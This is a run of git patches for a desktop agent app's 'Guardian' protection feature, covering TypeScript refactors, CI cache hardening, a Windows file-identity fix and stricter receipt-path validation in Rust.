keys that route to structured controls, not the generic env editor. */ -const BAKED_STRUCTURED_KEYS = new Set([ - "BUZZ_AGENT_PROVIDER", - "BUZZ_AGENT_MODEL", - BUZZ_AGENT_THINKING_EFFORT, - GUARDIAN_POLICY_ENV, -]); - -export function getGenericEnvVars( - envVars: Record, -): Record { - return Object.fromEntries( - Object.entries(envVars).filter(([key]) => !BAKED_STRUCTURED_KEYS.has(key)), - ); -} - -export function mergeGenericEnvVars( - current: Record, - nextGeneric: Record, -): Record { - const merged = { ...nextGeneric }; - for (const key of BAKED_STRUCTURED_KEYS) { - const value = current[key]; - if (value !== undefined) merged[key] = value; - } - return merged; -} const PROGRESSIVE_FIELDS_TRANSITION = { duration: 0.22, ease: [0.23, 1, 0.32, 1], diff --git a/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs b/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs index eb6ce9c9e4..c01eca1135 100644 --- a/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs +++ b/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs @@ -20,13 +20,12 @@ import test from "node:test"; import { CANONICAL_CONFIG_BEHAVIORS, - getGenericEnvVars, - mergeGenericEnvVars, resolveDisclosure, shouldRevealDependentConfigFields, shouldRenderModelControl, shouldShowModelStatusMessage, } from "./AgentConfigFields.tsx"; +import { getGenericEnvVars, mergeGenericEnvVars } from "./guardianPolicy.ts"; test("structured settings cannot be edited through the raw environment editor", () => { const current = { diff --git a/desktop/src/features/agents/ui/guardianPolicy.ts b/desktop/src/features/agents/ui/guardianPolicy.ts index 1a4953b05e..2003b2e864 100644 --- a/desktop/src/features/agents/ui/guardianPolicy.ts +++ b/desktop/src/features/agents/ui/guardianPolicy.ts @@ -2,6 +2,30 @@ import type { GlobalAgentConfig } from "@/shared/api/types"; export const GUARDIAN_POLICY_ENV = "BUZZ_ACP_PERMISSION_MODE"; +const STRUCTURED_ENV_KEYS = new Set([ + "BUZZ_AGENT_PROVIDER", + "BUZZ_AGENT_MODEL", + "BUZZ_AGENT_THINKING_EFFORT", + GUARDIAN_POLICY_ENV, +]); + +export function getGenericEnvVars(envVars: Record) { + return Object.fromEntries( + Object.entries(envVars).filter(([key]) => !STRUCTURED_ENV_KEYS.has(key)), + ); +} + +export function mergeGenericEnvVars( + current: Record, + nextGeneric: Record, +) { + const merged = { ...nextGeneric }; + for (const key of STRUCTURED_ENV_KEYS) { + if (current[key] !== undefined) merged[key] = current[key]; + } + return merged; +} + export const GUARDIAN_POLICY_OPTIONS = [ { label: "Monitor", value: "default" }, { label: "Lockdown", value: "dont-ask" }, diff --git a/desktop/src/shared/api/guardianProtection.ts b/desktop/src/shared/api/guardianProtection.ts new file mode 100644 index 0000000000..5c6bcc2e7f --- /dev/null +++ b/desktop/src/shared/api/guardianProtection.ts @@ -0,0 +1,29 @@ +export type GuardianProtectionLevel = "l0" | "l1" | "l2" | "l3"; + +export type RawGuardianProtection = { + level: GuardianProtectionLevel; + summary: string; + lockdown_allowed: boolean; +}; + +export type GuardianProtection = { + level: GuardianProtectionLevel; + summary: string; + lockdownAllowed: boolean; +}; + +export function fromRawGuardianProtection( + raw?: RawGuardianProtection, +): GuardianProtection { + return raw + ? { + level: raw.level, + summary: raw.summary, + lockdownAllowed: raw.lockdown_allowed, + } + : { + level: "l0", + summary: "Protection status unavailable", + lockdownAllowed: false, + }; +} diff --git a/desktop/src/shared/api/tauri.ts b/desktop/src/shared/api/tauri.ts index b3627f512a..763d5fba77 100644 --- a/desktop/src/shared/api/tauri.ts +++ b/desktop/src/shared/api/tauri.ts @@ -7,6 +7,10 @@ import { fromRawInstallRuntimeResult, type RawInstallRuntimeResult, } from "@/shared/api/installTypes"; +import { + fromRawGuardianProtection, + type RawGuardianProtection, +} from "@/shared/api/guardianProtection"; import type { AddChannelMembersInput, AddChannelMembersResult, @@ -199,15 +203,7 @@ export type RawAcpRuntimeCatalogEntry = { auth_status: AuthStatus; login_hint?: string; source: "builtin" | "preset" | "custom"; - guardian_protection?: { - level: "l0" | "l1" | "l2" | "l3"; - summary: string; - lockdown_allowed: boolean; - }; - /** - * Definition-level env vars for `source: custom` entries. - * Omitted/absent for builtin and preset — skipped in Rust serialization when empty. - */ + guardian_protection?: RawGuardianProtection; definition_env?: Record; }; @@ -763,19 +759,7 @@ export function fromRawAcpRuntimeCatalogEntry( authStatus: entry.auth_status, loginHint: entry.login_hint ?? null, source: entry.source, - guardianProtection: entry.guardian_protection - ? { - level: entry.guardian_protection.level, - summary: entry.guardian_protection.summary, - lockdownAllowed: entry.guardian_protection.lockdown_allowed, - } - : { - level: "l0", - summary: "Protection status unavailable", - lockdownAllowed: false, - }, - // Map definition_env (snake_case from Rust) to definitionEnv (camelCase). - // Absent when empty (Rust serialization skips empty BTreeMap) — default to {}. + guardianProtection: fromRawGuardianProtection(entry.guardian_protection), definitionEnv: entry.definition_env ?? {}, }; } diff --git a/desktop/src/shared/api/types.ts b/desktop/src/shared/api/types.ts index 82838cd551..53dae2916d 100644 --- a/desktop/src/shared/api/types.ts +++ b/desktop/src/shared/api/types.ts @@ -1,3 +1,5 @@ +import type { GuardianProtection } from "@/shared/api/guardianProtection"; + export type ChannelType = "stream" | "forum" | "dm"; export type ChannelVisibility = "open" | "private"; export type ChannelRole = "owner" | "admin" | "member" | "guest" | "bot"; @@ -536,18 +538,7 @@ export type AcpRuntimeCatalogEntry = { * UI — only "custom" entries can be edited or deleted. */ source: "builtin" | "preset" | "custom"; - guardianProtection: { - level: "l0" | "l1" | "l2" | "l3"; - summary: string; - lockdownAllowed: boolean; - }; - /** - * Definition-level environment variables for `source: custom` entries. - * - * Populated by the backend from `HarnessDefinition.env` so the edit form can - * read them back without losing existing env vars on save. Always absent/empty - * for `builtin` and `preset` entries. - */ + guardianProtection: GuardianProtection; definitionEnv?: Record; }; From 054d14e1efc8f46ebcec0d7d954ca1810e71e1f0 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 13:28:08 -0400 Subject: [PATCH 22/27] fix: match Guardian merge checks Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/agent_discovery.rs | 7 ++--- .../features/agents/ui/AgentConfigFields.tsx | 6 ++++ .../agents/ui/AgentDefinitionDialog.tsx | 28 ------------------- .../agents/ui/AgentInstanceEditDialog.tsx | 28 ------------------- 4 files changed, 9 insertions(+), 60 deletions(-) diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs index 59b9b88e28..1c1eb87392 100644 --- a/desktop/src-tauri/src/commands/agent_discovery.rs +++ b/desktop/src-tauri/src/commands/agent_discovery.rs @@ -3,10 +3,9 @@ use tauri::State; use crate::{ app_state::AppState, managed_agents::{ - readiness::guardian_runtime_protection, - command_availability, is_npm_global_install, AcpRuntimeCatalogEntry, - DiscoverManagedAgentPrereqsRequest, InstallRuntimeResult, ManagedAgentPrereqsInfo, - RelayAgentInfo, DEFAULT_ACP_COMMAND, + command_availability, is_npm_global_install, readiness::guardian_runtime_protection, + AcpRuntimeCatalogEntry, DiscoverManagedAgentPrereqsRequest, InstallRuntimeResult, + ManagedAgentPrereqsInfo, RelayAgentInfo, DEFAULT_ACP_COMMAND, }, nostr_convert, relay::query_relay, diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx index edcf101c71..83247501a9 100644 --- a/desktop/src/features/agents/ui/AgentConfigFields.tsx +++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx @@ -63,6 +63,12 @@ export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = { model: null, preferred_runtime: null, }; +/** Baked env keys routed to structured controls, not the generic env editor. */ +const BAKED_STRUCTURED_KEYS = new Set([ + "BUZZ_AGENT_PROVIDER", + "BUZZ_AGENT_MODEL", + BUZZ_AGENT_THINKING_EFFORT, +]); const PROGRESSIVE_FIELDS_TRANSITION = { duration: 0.22, ease: [0.23, 1, 0.32, 1], diff --git a/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx b/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx index 5425131448..6d2410cb63 100644 --- a/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx +++ b/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx @@ -156,18 +156,8 @@ export function AgentDefinitionDialog({ const [behaviorDraft, setBehaviorDraft] = React.useState( emptyPersonaBehaviorDraft, ); - // The seed the draft is diffed against at submit: an untouched quad - // submits no behavior group, keeping unrelated edits hash-quiet. const behaviorSeedRef = React.useRef(emptyPersonaBehaviorDraft); - // Tracks when the runtime was auto-seeded by the default-runtime effect in - // edit mode (i.e. the user never explicitly chose a runtime). Used to omit - // the seeded runtime from the submit payload for builtin definitions whose - // canonical runtime is null — the sync would revert it anyway. const isRuntimeAutoSeededRef = React.useRef(false); - // Guards the seeding effect so it fires at most once per dialog-open. - // Without this, clearing runtime back to "" via "No preference" would re- - // trigger the effect (the `runtime` dep would pass the length guard) and - // snap the dropdown back to the default — an edit-mode regression. const hasSeededForOpenRef = React.useRef(false); const [showAdvancedFields, setShowAdvancedFields] = React.useState(false); const [isAvatarUploadPending, setIsAvatarUploadPending] = @@ -249,10 +239,6 @@ export function AgentDefinitionDialog({ setRuntime(defaultRuntime.id); hasSeededForOpenRef.current = true; if ("id" in initialValues) { - // Edit mode: record that this runtime was auto-seeded so the submit path - // can omit it from the payload for builtin definitions (canonical runtime - // null; sync would revert the value anyway). Explicit user changes via - // the dropdown clear this flag. isRuntimeAutoSeededRef.current = true; } }, [defaultRuntime, initialValues, open, runtime, runtimesLoading]); @@ -316,16 +302,12 @@ export function AgentDefinitionDialog({ setIsAvatarUploadPending(false); setHasUserChanges(false); setIsAddHarnessOpen(false); - // isRuntimeAutoSeededRef and hasSeededForOpenRef are NOT reset here — the - // [initialValues, open] effect resets both when the dialog re-opens. } onOpenChange(next); } async function handleSubmit() { - // D1: the same localModeSatisfied gate as canSubmit prevents form-submit - // (Enter) from bypassing a missing credential. if (!initialValues || !localModeSatisfied || !canSubmit) return; const { @@ -397,11 +379,6 @@ export function AgentDefinitionDialog({ (runtime.trim().length > 0 && runtimeCanChooseLlmProvider) || blankRuntimeModelProviderEditable; const trimmedProvider = provider.trim(); - // Required credential env keys for this runtime + provider combination. - // Used to show required markers on the LLM provider label and amber - // locked rows in the env vars editor. - // File-layer config for the selected runtime (e.g. goose config.yaml). - // Used to silence requirements already satisfied there. const { data: runtimeFileConfig } = useRuntimeFileConfigQuery(runtime, { enabled: open, }); @@ -451,13 +428,8 @@ export function AgentDefinitionDialog({ runtimeFileConfig, ], ); - // requiredEnvKeys: the gate already handles baked-, global-, and file- - // satisfied keys so no further filtering is needed. const { requiredEnvKeys } = localModeGate; const localModeSatisfied = localModeGate.satisfied; - // Effective provider: agent value → global fallback → file fallback. - // Mirrors the chain inside computeLocalModeGate so model-option scoping and - // model requiredness are consistent with the readiness gate. const fileProvider = runtimeFileConfig?.provider?.trim() ?? ""; const effectiveProvider = trimmedProvider || inheritedProviderDefault.value || fileProvider; diff --git a/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx b/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx index 79d1e9a790..8138cc9023 100644 --- a/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx +++ b/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx @@ -166,11 +166,8 @@ export function AgentInstanceEditDialog({ const [isAddHarnessOpen, setIsAddHarnessOpen] = React.useState(false); const shouldReduceMotion = useReducedMotion(); - // Runtime selector: defaults to "custom" until the dialog opens and the - // catalog loads. The open-effect re-derives the correct id from the catalog. const [selectedRuntimeId, setSelectedRuntimeId] = React.useState("custom"); - // Tracks whether the user has made an in-dialog runtime selection. const runtimeTouched = React.useRef(false); // Reset form state only when the dialog opens or when switching to a different agent. @@ -208,7 +205,6 @@ export function AgentInstanceEditDialog({ } }, [open, agent.pubkey]); - // Re-derive the runtime id when the catalog loads. React.useEffect(() => { if (!open || runtimeTouched.current || runtimes.length === 0) { return; @@ -221,7 +217,6 @@ export function AgentInstanceEditDialog({ } }, [open, runtimes, agent.agentCommand]); - // Build the sorted runtime catalog for the dropdown. const sortedRuntimes = React.useMemo( () => sortPersonaRuntimes(runtimes), [runtimes], @@ -256,8 +251,6 @@ export function AgentInstanceEditDialog({ return options; }, [sortedRuntimes, selectedRuntimeId]); - // Resolve the dialog-opening command as the catalog loads. Edit-state runtime - // ids mutate during selection changes and cannot identify the original state. const originalRuntimeSupportsProvider = React.useMemo(() => { const originalCommand = originalAgentCommand.trim(); const matched = @@ -266,16 +259,6 @@ export function AgentInstanceEditDialog({ return runtimeSupportsLlmProviderSelection(matched?.id ?? ""); }, [runtimes, originalAgentCommand]); - // The runtime id that will actually be active after submit. When inheriting, - // resolve from the LINKED PERSONA's runtime — that is what will run once the - // override is cleared. Deriving from agent.agentCommand here is wrong for a - // pinned agent that just toggled "Inherit runtime from template": the override - // (e.g. a Claude pin) is still present on the record, so it would resolve to - // the old pin instead of the persona's runtime, hiding required credentials. - // Fall back to the agent.agentCommand dual-match (command path, then id) only - // when there is no linked persona or its runtime is unset. This single - // prospective id feeds BOTH the block-save gate (requiredEnvKeys) and the - // submit path so they never disagree on which runtime is being saved. const prospectiveRuntimeId = React.useMemo(() => { if (!inheritHarness) { return selectedRuntime?.id ?? selectedRuntimeId; @@ -290,8 +273,6 @@ export function AgentInstanceEditDialog({ runtimes.find((r) => r.command?.trim() === agent.agentCommand.trim()) ?.id ?? runtimes.find((r) => r.id === agent.agentCommand.trim())?.id ?? - // Fall back to the app default runtime so discovery can run for agents - // whose persona has no runtime set (e.g. freshly-added catalog builtins). getDefaultPersonaRuntime(runtimes)?.id ?? "" ); @@ -339,9 +320,6 @@ export function AgentInstanceEditDialog({ return () => cancelAnimationFrame(id); }, [open, initialFocus, agent.pubkey, llmProviderFieldVisible]); - // Provider + env to PERSIST on submit — also fed to the credential gate so - // gate, saved record, and spawn snapshot all agree on one resolved value. - // See resolveInheritedRuntimeSubmission for the inherit/transition contract. const inheritedSubmission = React.useMemo( () => resolveInheritedRuntimeSubmission({ @@ -376,12 +354,6 @@ export function AgentInstanceEditDialog({ inheritedEnvVars: inheritedEnvVarsForAdvanced, } = useAgentDialogDefaults({ inheritedEnvVars, open }); - // Runtime/provider-required credential state, derived from the PROSPECTIVE - // post-submit runtime — see the hook for the inherit-transition rationale. - // Pass globalProvider so the hook uses it as a fallback when the per-agent - // provider is empty (global-provider-only configs must surface required keys). - // Pass globalEnvVars so keys satisfied by global config are excluded from - // requiredEnvKeys and do not block Save (display and gate agree). const { requiredEnvKeys, fileSatisfiedEnvKeys, requiredEnvKeyMissing } = useRequiredCredentialState({ open, From 9d5915d98ec391106f524d78986412f739bd9ca7 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 13:28:56 -0400 Subject: [PATCH 23/27] ci: keep pull request image caches read-only Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .github/workflows/docker.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 564cd74e9d..a61f04a20d 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -179,7 +179,7 @@ jobs: cache-from: | type=registry,ref=${{ env.IMAGE_NAME }}-buildcache:${{ matrix.arch }} cache-to: | - ${{ (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }} + ${{ github.event_name != 'pull_request' && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }} - name: Build and push debug image by digest id: build-debug @@ -402,7 +402,7 @@ jobs: labels: ${{ steps.meta.outputs.labels }} outputs: type=image,name=ghcr.io/block/buzz-push-gateway,push-by-digest=true,name-canonical=true,push=${{ github.event_name != 'pull_request' }} cache-from: type=registry,ref=ghcr.io/block/buzz-push-gateway-buildcache:${{ matrix.arch }} - cache-to: ${{ (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) && format('type=registry,ref=ghcr.io/block/buzz-push-gateway-buildcache:{0},mode=max,compression=zstd', matrix.arch) || '' }} + cache-to: ${{ github.event_name != 'pull_request' && format('type=registry,ref=ghcr.io/block/buzz-push-gateway-buildcache:{0},mode=max,compression=zstd', matrix.arch) || '' }} - name: Export digest if: github.event_name != 'pull_request' env: From 6dc80d2eb79a5913339840ca2b3318a4673d468a Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 14:07:42 -0400 Subject: [PATCH 24/27] Fix remaining Guardian CI failures Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .github/workflows/ci.yml | 1 + .github/workflows/sprig-image.yml | 2 +- desktop/src-tauri/src/commands/numbat_findings/tests.rs | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 753de2e87e..222ca81a2a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1058,6 +1058,7 @@ jobs: touch "desktop/src-tauri/binaries/buzz-dev-mcp-$TARGET" touch "desktop/src-tauri/binaries/git-credential-nostr-$TARGET" touch "desktop/src-tauri/binaries/buzz-$TARGET" + touch "desktop/src-tauri/binaries/buzz-guardian-numbat-$TARGET" # Mesh rev is derived from Cargo.lock so a dependency bump needs no # lockstep edit here; the cache key tracks it automatically. - name: Resolve mesh-llm rev diff --git a/.github/workflows/sprig-image.yml b/.github/workflows/sprig-image.yml index 5d5e12ae0c..6f9669f83e 100644 --- a/.github/workflows/sprig-image.yml +++ b/.github/workflows/sprig-image.yml @@ -124,7 +124,7 @@ jobs: cache-from: | type=registry,ref=${{ env.IMAGE_NAME }}-buildcache:${{ matrix.arch }} cache-to: | - ${{ (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }} + ${{ (github.repository == 'block/buzz' && github.event_name != 'pull_request') && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }} - name: Export digest if: github.event_name != 'pull_request' diff --git a/desktop/src-tauri/src/commands/numbat_findings/tests.rs b/desktop/src-tauri/src/commands/numbat_findings/tests.rs index 0e34d619cd..e7421076df 100644 --- a/desktop/src-tauri/src/commands/numbat_findings/tests.rs +++ b/desktop/src-tauri/src/commands/numbat_findings/tests.rs @@ -199,7 +199,7 @@ fn cursor_resets_when_retention_replaces_the_file_generation() { assert_eq!(decode_cursor(cursor, 42), (0, true)); assert_eq!(decode_cursor(0, 42), (0, false)); assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); - assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); + assert!(cursor < (1_u64 << 53), "cursor must be exact in JS"); } #[test] From e295704bfe7c3cc7918b987a7a2fbb0fdfb31cd7 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 14:49:29 -0400 Subject: [PATCH 25/27] fix(guardian): use stable Windows file identity Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/numbat_findings.rs | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index a6c5012a78..85c6e7c211 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -269,18 +269,29 @@ fn findings_generation(path: &Path) -> Result { #[cfg(windows)] fn findings_generation(path: &Path) -> Result { - use std::os::windows::fs::MetadataExt as _; + use std::os::windows::io::AsRawHandle as _; + use windows_sys::Win32::Storage::FileSystem::{ + BY_HANDLE_FILE_INFORMATION, GetFileInformationByHandle, + }; + + File::open(path) + .and_then(|file| { + let mut info = BY_HANDLE_FILE_INFORMATION::default(); + // SAFETY: `file` owns a valid handle for the duration of the call, + // and `info` points to writable storage of the required type. + let result = unsafe { + GetFileInformationByHandle(file.as_raw_handle().cast(), &mut info) + }; + if result == 0 { + return Err(std::io::Error::last_os_error()); + } - path.metadata() - .map(|metadata| { // A rename preserves timestamps on Windows. The volume/file index // identifies the replacement file instead, matching Unix inode // semantics and invalidating stale cursors after retention rotates. - let volume = u64::from(metadata.volume_serial_number().unwrap_or_default()); - let index = metadata - .file_index() - .unwrap_or_else(|| metadata.creation_time() ^ metadata.file_size().rotate_left(17)); - (index ^ volume.rotate_left(32)) & CURSOR_GENERATION_MASK + let volume = u64::from(info.dwVolumeSerialNumber); + let index = (u64::from(info.nFileIndexHigh) << 32) | u64::from(info.nFileIndexLow); + Ok((index ^ volume.rotate_left(32)) & CURSOR_GENERATION_MASK) }) .or_else(|error| { if error.kind() == std::io::ErrorKind::NotFound { From a1cbda4a6bc5ef38f46c1d66370ed24201016501 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 15:03:13 -0400 Subject: [PATCH 26/27] style(guardian): match pinned Rust formatter Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/src-tauri/src/commands/numbat_findings.rs | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 85c6e7c211..17b8de05e7 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -271,7 +271,7 @@ fn findings_generation(path: &Path) -> Result { fn findings_generation(path: &Path) -> Result { use std::os::windows::io::AsRawHandle as _; use windows_sys::Win32::Storage::FileSystem::{ - BY_HANDLE_FILE_INFORMATION, GetFileInformationByHandle, + GetFileInformationByHandle, BY_HANDLE_FILE_INFORMATION, }; File::open(path) @@ -279,9 +279,8 @@ fn findings_generation(path: &Path) -> Result { let mut info = BY_HANDLE_FILE_INFORMATION::default(); // SAFETY: `file` owns a valid handle for the duration of the call, // and `info` points to writable storage of the required type. - let result = unsafe { - GetFileInformationByHandle(file.as_raw_handle().cast(), &mut info) - }; + let result = + unsafe { GetFileInformationByHandle(file.as_raw_handle().cast(), &mut info) }; if result == 0 { return Err(std::io::Error::last_os_error()); } From e111cac6b994ea00438b37b3d8700aedb1cca642 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 4 Aug 2026 15:33:17 -0400 Subject: [PATCH 27/27] fix(guardian): make Windows storage tests portable Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../numbat_findings/lifecycle_tests.rs | 1 + .../src/commands/numbat_findings/tests.rs | 1 + .../src/guardian_distribution/activation.rs | 20 ++++++++++++++----- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs index 1fbf7dec63..fcad048509 100644 --- a/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs +++ b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs @@ -27,6 +27,7 @@ fn test_health() -> NumbatGuardianHealth { } } +#[cfg(unix)] #[test] fn retention_reader_preserves_a_record_appended_to_the_previous_generation() { let dir = tempfile::tempdir().expect("tempdir"); diff --git a/desktop/src-tauri/src/commands/numbat_findings/tests.rs b/desktop/src-tauri/src/commands/numbat_findings/tests.rs index e7421076df..87513421e9 100644 --- a/desktop/src-tauri/src/commands/numbat_findings/tests.rs +++ b/desktop/src-tauri/src/commands/numbat_findings/tests.rs @@ -169,6 +169,7 @@ fn truncation_resets_a_stale_cursor() { assert_eq!(batch.findings.len(), 1); } +#[cfg(unix)] #[test] fn continuous_retention_keeps_complete_recent_records() { let dir = tempfile::tempdir().expect("tempdir"); diff --git a/desktop/src-tauri/src/guardian_distribution/activation.rs b/desktop/src-tauri/src/guardian_distribution/activation.rs index 5a1e80d5ee..7ff4915266 100644 --- a/desktop/src-tauri/src/guardian_distribution/activation.rs +++ b/desktop/src-tauri/src/guardian_distribution/activation.rs @@ -368,11 +368,21 @@ fn safe_relative_path(path: &Path) -> Result { { return Err("unsafe Guardian receipt path".into()); } - let value = path - .to_str() - .filter(|value| !value.contains('\\') && !value.contains('\0')) - .ok_or("unsafe Guardian receipt path")?; - Ok(value.to_owned()) + path.components() + .map(|component| match component { + Component::Normal(value) => value + .to_str() + .filter(|value| { + !value.is_empty() + && !value.contains('/') + && !value.contains('\\') + && !value.contains('\0') + }) + .ok_or_else(|| "unsafe Guardian receipt path".to_owned()), + _ => Err("unsafe Guardian receipt path".to_owned()), + }) + .collect::, _>>() + .map(|components| components.join("/")) } fn validate_digest(value: &str) -> Result<(), String> {